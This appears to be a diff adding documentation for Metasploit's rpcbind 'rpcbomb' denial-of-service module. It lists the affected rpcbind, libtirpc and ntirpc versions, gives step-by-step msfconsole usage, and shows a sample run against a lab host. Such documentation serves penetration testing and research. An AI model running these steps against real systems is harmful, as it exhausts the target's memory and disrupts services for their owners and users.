+## Vulnerable Application
+
+This module [exploits a vulnerability](http://openwall.com/lists/oss-security/2017/05/03/12) in rpcbind through 0.2.4,
+LIBTIRPC through 1.0.1 and 1.0.2-rc through 1.0.2-rc3, and NTIRPC through 1.4.3.
+
+Exploiting this vulnerability allows an attacker to trigger large (and never freed) memory allocations for XDR strings on the target.
+
+## Verification Steps
+
+1. Start msfconsole
+1. Do: `use auxiliary/dos/rpc/rpcbomb`
+1. Do: `set RHOSTS [IP]`
+1. Do: `run`
+1. Target should leak memory
+
+## Scenarios
+
+### rpcbind 0.2.3-0.2 on Ubuntu 16.04 (amd64)
+
+```
+msf > use auxiliary/dos/rpc/rpcbomb 
+msf auxiliary(rpcbomb) > set RHOSTS 10.0.2.7
+RHOSTS => 10.0.2.7
+msf auxiliary(rpcbomb) > run
+
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
